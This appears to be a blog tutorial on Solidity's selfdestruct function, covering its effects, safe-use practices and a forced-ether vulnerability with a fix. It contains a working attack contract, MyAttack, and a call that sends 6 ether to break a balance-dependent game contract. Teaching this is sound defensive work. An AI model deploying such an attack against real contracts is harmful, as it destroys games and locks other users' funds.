First of all, this function is going to be deprecated in the newer versions of Solidity. With that said, let’s talk about this powerful feature, which can be used to destroy a smart contract, freeing up storage on the blockchain. While it can be a useful tool, it can also be dangerous if not used correctly. In this post, we’ll take a closer look at self destruct and explore how to use it safely.
What is Self Destruct?
Self destruct is a built-in function in Solidity that allows you to effectively remove a contract from the blockchain and send its remaining ether to a designated recipient. Therefore, when a contract is destroyed, storage space is freed up in the blockchain as its code and data are removed.
The self destruct function is called using the address of the ether recipient as an argument, like this:
selfdestruct(recipientAddress);
The recipient address will receive all funds held by the contract at the moment of destruction. However, keep in mind that the caller will still have to pay for the gas used to invoke the contract’s self destruct call.
What happens after Self Destruct is called?
After a contract is self destructed, all references to it will now point to a bytecode of 0x
, just as if it was a regular account. However, it is important to note that since the blockchain is immutable, all past transactions and contract calls will still be kept in the history of previous blocks, and cannot be removed even if the contract is destroyed. So in actuality, the contract code is in a way still kept in previous blocks.
Also, keep in mind that:
- no assets other than ether (such as tokens) will be sent to the recipient address at the moment of destruction, so these will be lost.
- any funds and assets sent to an address of a destroyed contract will be lost.
How to Use Self Destruct Safely
While self destruct can be a useful tool, it can also be dangerous if not used correctly. Here are some best practices to keep in mind when using self destruct:
- Only use self destruct when you’re absolutely sure you no longer need the contract. After a contract is destroyed, there is no way to retrieve it.
- Make sure you set the recipient address correctly. If you send the remaining ether to the wrong address, you won’t be able to get it back.
- Consider adding a logical delay before self destruct is called—for example, only allowing it to be called after a certain block number—and have it set as a permissioned action. This can give you a better opportunity of recovering important assets or data from the contract before it’s destroyed.
Example Usage of Self Destruct
Here’s an example of how self destruct can be used to destroy a contract and send its remaining ether to a designated recipient:
contract SelfDestructExample {
address payable owner;
constructor() {
owner = payable(msg.sender);
}
receive() external payable {} // added for the contract to directly receive funds
function close() public {
require(msg.sender == owner, "Only the contract owner can call this function");
selfdestruct(owner);
}
}
In this example, the owner of the contract can call the close
function to destroy the contract and send its remaining ether to themselves.
A vulnerability using Self Destruct
A malicious contract can use selfdestruct
to force sending Ether to any other contract.
A contract without a receive or fallback function can only receive ether through a coinbase
transaction (miner block reward) or if someone sets it as the destination of a selfdestruct
. These are the only ether transfers a contract cannot react to nor reject.
Take this game contract as an example. The game works by receiving 1 ether at a time. If the caller of a deposit causes the contract to reach 5 ether, the contract declares them as the winner and they can claim all sent funds as the prize.
contract MyGame {
uint public targetAmount = 5 ether;
address public winner;
bool public prizeClaimed;
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
uint balance = address(this).balance;
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
function claimPrize() public {
require(msg.sender == winner, "You are not the winner");
require(!prizeClaimed, "Prize already claimed");
prizeClaimed = true;
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
}
contract MyAttack {
MyGame myGame;
constructor(MyGame _myGame) {
myGame = MyGame(_myGame);
}
function attack() public payable {
// An attacker can call MyAttack.attack, self destructing the attacking contract while holding a balance of 5 ether or more, thus reaching targetAmount and breaking the game, making it impossible for any account to win the game
address payable addr = payable(address(myGame));
selfdestruct(addr);
}
}
After the attack is executed as commented, the address(this).balance
statement on the MyGame
contract equals a number higher than the sum of the ether expected to be reached through the deposit method, effectively ending the game.
Since this function is payable
, an easy way of doing this is sending the required ether in the attack
call:
await myAttack.attack({value: ethers.utils.parseEther("6")});
If the attacker, instead of using selfdestruct
, had used send or transfer, given that MyGame does not have receive nor fallback method, an exception would have been thrown.
Preventative Techniques
Don’t rely on address(this).balance
:
contract MyGame {
uint public targetAmount = 5 ether;
address public winner;
bool public prizeClaimed;
uint public gameBalance;
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
gameBalance += msg.value;
require(gameBalance <= targetAmount, "Game is over");
if (gameBalance == targetAmount) {
winner = msg.sender;
}
}
function claimPrize() public {
require(msg.sender == winner, "You are not the winner");
require(!prizeClaimed, "Prize already claimed");
prizeClaimed = true;
(bool sent, ) = msg.sender.call{value: gameBalance}("");
require(sent, "Failed to send Ether");
}
}
In this case, no matter how much ether is sent through an attacker’s self-destructing contract, the game will only keep track of funds sent through the deposit
method, therefore ignoring the actual balance of the contract outside of ether received as part of the game.
Conclusion
Self destruct is a powerful feature in Solidity that can be useful for destroying a contract’s code and freeing up storage space on the blockchain. However, you should use it with caution and only when you are absolutely sure that you no longer need the contract. By following best practices and using self destruct sparingly, you can use this feature safely and effectively.
Posted in Blockchain, Ethereum, Smart Contract, Solidity